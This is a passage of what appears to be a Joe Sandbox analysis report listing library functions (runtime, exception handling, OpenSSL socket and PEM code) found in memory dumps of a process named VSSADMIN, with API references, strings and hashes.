_set_statfp.LIBCMT ref: 00007FF614C987FC
_set_statfp.LIBCMT ref: 00007FF614C98817
_set_statfp.LIBCMT ref: 00007FF614C98833
_set_statfp.LIBCMT ref: 00007FF614C9886F

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: df903f3215afb40246e66390c7a8782672b61de48a1f20f8636c4cf7020c10d8
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: 87119122E38E03E5F6541564D4C237720616F57BFCF140A36EA7E876EACE3EA8418138

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A890 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A8AF
FlsSetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A8CE
FlsSetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A8F6
FlsSetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A907
FlsSetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A918

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 641b5c1756b5a7a370e8acee299cebcfbeece5c9431c4ccb462b483a43e8f849
Instruction ID: cb55e11e228a2a7467eeab2d25f24b4dd5abe3b95e3ad79e3ee219c0287d43cd
Opcode Fuzzy Hash: 641b5c1756b5a7a370e8acee299cebcfbeece5c9431c4ccb462b483a43e8f849
Instruction Fuzzy Hash: 02113A24F0CE4342FA58936AA5C11BA61725F46FB0F585336E93EC77D6EE2DA442A700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A724 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A735
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A754
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A77C
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A78D
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A79E

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f69b442354946db37e634020f35520dac2635bfc442cf553b2ea1a5b1da725dd
Instruction ID: 0194e0d27ffd21c3f8c13ecddd487f401db385377c681af90af8ba56de308296
Opcode Fuzzy Hash: f69b442354946db37e634020f35520dac2635bfc442cf553b2ea1a5b1da725dd
Instruction Fuzzy Hash: 6C11B728A0DE0342F958A63958D55BA21B24F47F74F180736E93ECB2D3ED2DB442B751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8F1C8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8F4A7

Part of subcall function 00007FF614C954A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C954C1

Strings

ccs, xrefs: 00007FF614C8F3E2
UTF-16LEUNICODE, xrefs: 00007FF614C8F445
UTF-8, xrefs: 00007FF614C8F426

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 04f77fab494744c2c515884d2b3c345e4279dac145e4d051e3529eeeffec7512
Instruction ID: aa3a720b874d36c084131063d99b8c27c6138291c7ad935d2146308197c8cf15
Opcode Fuzzy Hash: 04f77fab494744c2c515884d2b3c345e4279dac145e4d051e3529eeeffec7512
Instruction Fuzzy Hash: 65819C76E0CA5385F7A58E2981F027826B0AB57FA8F558037CB0AD7295DF2DF901A701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7E138 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF614C7E184
_CallSETranslator.LIBVCRUNTIME ref: 00007FF614C7E1D3

Strings

RCC, xrefs: 00007FF614C7E1A1
MOC, xrefs: 00007FF614C7E198

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 07a38d77025e1089ea1fead6d05a91cb43271034c61875b0f20f744d27a01972
Instruction ID: 7708ddf7471669cd0a157c1e602e52a9422c251f8d813d077829149fa74f7ee6
Opcode Fuzzy Hash: 07a38d77025e1089ea1fead6d05a91cb43271034c61875b0f20f744d27a01972
Instruction Fuzzy Hash: CC614937A08A858AEB10CF65D4812AD77B0FB46BA9F044226EF4D57B99CF38E155CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7E494 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF614C7E4BC
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF614C7E5A4

Strings

csm, xrefs: 00007FF614C7E4DE
csm, xrefs: 00007FF614C7E5F6

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 15a90b008ee0b5328ce42465ae6c6f27eb603fbbd906650bc51354757df09ebd
Instruction ID: 016219f5bc2cb5ea05b40b06f03e317a7a95fdaf72173b25056b4d9c293bcfaf
Opcode Fuzzy Hash: 15a90b008ee0b5328ce42465ae6c6f27eb603fbbd906650bc51354757df09ebd
Instruction Fuzzy Hash: 50517A3390CA8687EA648F1595C43697BB0FB56FBAF144136DA9C87A95CF3CE4518B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF2838 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

T, xrefs: 00007FFD3FCB32F3
..\s\crypto\async\async.c, xrefs: 00007FFD3FCB317F, 00007FFD3FCB31CD, 00007FFD3FCB31E6, 00007FFD3FCB321C, 00007FFD3FCB3266, 00007FFD3FCB32BC, 00007FFD3FCB32DD, 00007FFD3FCB32FB, 00007FFD3FCB3335, 00007FFD3FCB335A

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID:
String ID: ..\s\crypto\async\async.c$T
API String ID: 0-2182492907
Opcode ID: 8799e63865a8e293b2cab40001efc82bfd0813cd488136d79b3b43ff1dce89a6
Instruction ID: 802f9e945951e5ce30d473741f45b7def3440447b2cf75787304d1e3b900e9b5
Opcode Fuzzy Hash: 8799e63865a8e293b2cab40001efc82bfd0813cd488136d79b3b43ff1dce89a6
Instruction Fuzzy Hash: 62519C76B0CB4A82EB289B21E4606BD7760EF84B80F404435DB4D57B96DFBDE919E700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FCB6E10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 129networkCOMMON

Download Yara Rule

APIs

getnameinfo.WS2_32 ref: 00007FFD3FCB6EAB
htons.WS2_32 ref: 00007FFD3FCB6F1B

Strings

..\s\crypto\bio\b_addr.c, xrefs: 00007FFD3FCB6EC4, 00007FFD3FCB6F46, 00007FFD3FCB6F65, 00007FFD3FCB6F95, 00007FFD3FCB6FB2, 00007FFD3FCB6FD4
, xrefs: 00007FFD3FCB6E91

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: getnameinfohtons
String ID: $..\s\crypto\bio\b_addr.c
API String ID: 1503050688-1606403076
Opcode ID: 79083cb44701e26ed1c7acd577477c0fca6b9dec1374fd547b361c2cd0386f0a
Instruction ID: ee68aec3bfb67ae4dec67756e0652d1c0f792339f9932293b33137c4dd975f67
Opcode Fuzzy Hash: 79083cb44701e26ed1c7acd577477c0fca6b9dec1374fd547b361c2cd0386f0a
Instruction Fuzzy Hash: 4051D166B1864F82FB689F21E0617BD73A0EB80744F404036EB8D07685DF7DE895A701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF3846 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

Strings

host=, xrefs: 00007FFD3FCB9DCE
..\s\crypto\bio\b_sock.c, xrefs: 00007FFD3FCB9CDA, 00007FFD3FCB9D5D
J, xrefs: 00007FFD3FCB9D55

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID:
String ID: ..\s\crypto\bio\b_sock.c$J$host=
API String ID: 0-1729655730
Opcode ID: 941f2fbceea9f6781c3ad95e534017a9b341198856a0048fa999bb3705f921b3
Instruction ID: 166de83356c025221d51ff2333b3fa5389908e8c653f5ff2cb5c0bf4ec04eee3
Opcode Fuzzy Hash: 941f2fbceea9f6781c3ad95e534017a9b341198856a0048fa999bb3705f921b3
Instruction Fuzzy Hash: 8231D076B0C64682EB18DB65F4A116EB360FB84790F400035EF8C83B9ADF7DD9549B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C724D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

MessageBoxW.USER32 ref: 00007FF614C725DB
MessageBoxA.USER32 ref: 00007FF614C725F7

Strings

%s%s: %s, xrefs: 00007FF614C72556
Fatal error detected, xrefs: 00007FF614C725B1, 00007FF614C725E9

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 4ccfa1ca3bcae5acffff1ea197f60ccb63abed4ad3799bdff7ceda7eadf1df34
Instruction ID: 0cabe60dd2f0317458d7cc8b18423016e7112c85527d09ac3810cd807fd967c8
Opcode Fuzzy Hash: 4ccfa1ca3bcae5acffff1ea197f60ccb63abed4ad3799bdff7ceda7eadf1df34
Instruction Fuzzy Hash: B831857262CA8292EA30D714E4916EA6374FF85F94F804037E68D87A99DF3DD345CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF1C76 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

00007FFD5FD0F8C0.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFD3FDA675A

Strings

DH PARAMETERS, xrefs: 00007FFD3FDA670B
..\s\crypto\pem\pem_pkey.c, xrefs: 00007FFD3FDA6784, 00007FFD3FDA67A9, 00007FFD3FDA67C0
X9.42 DH PARAMETERS, xrefs: 00007FFD3FDA6749

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: 00007
String ID: ..\s\crypto\pem\pem_pkey.c$DH PARAMETERS$X9.42 DH PARAMETERS
API String ID: 3568877910-3633731555
Opcode ID: be9e9573787046a801f6411ee9a5367fe782c2cd32758e05b582aaf67fa49e75
Instruction ID: 8181e4560066208bd1a2181c709ea145e92d3fb7a201476ce45fd2ce21a84222
Opcode Fuzzy Hash: be9e9573787046a801f6411ee9a5367fe782c2cd32758e05b582aaf67fa49e75
Instruction Fuzzy Hash: A0218CA2B08B4AC1EE54DB55E4201AAB7A0EF84794F444032EB8C47B99EF7DE554EB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF139D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFD3FCBAB10
WSAGetLastError.WS2_32 ref: 00007FFD3FCBAB1B

Strings

2, xrefs: 00007FFD3FCBAB45
..\s\crypto\bio\b_sock2.c, xrefs: 00007FFD3FCBAB31, 00007FFD3FCBAB4D

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastsocket
String ID: ..\s\crypto\bio\b_sock2.c$2
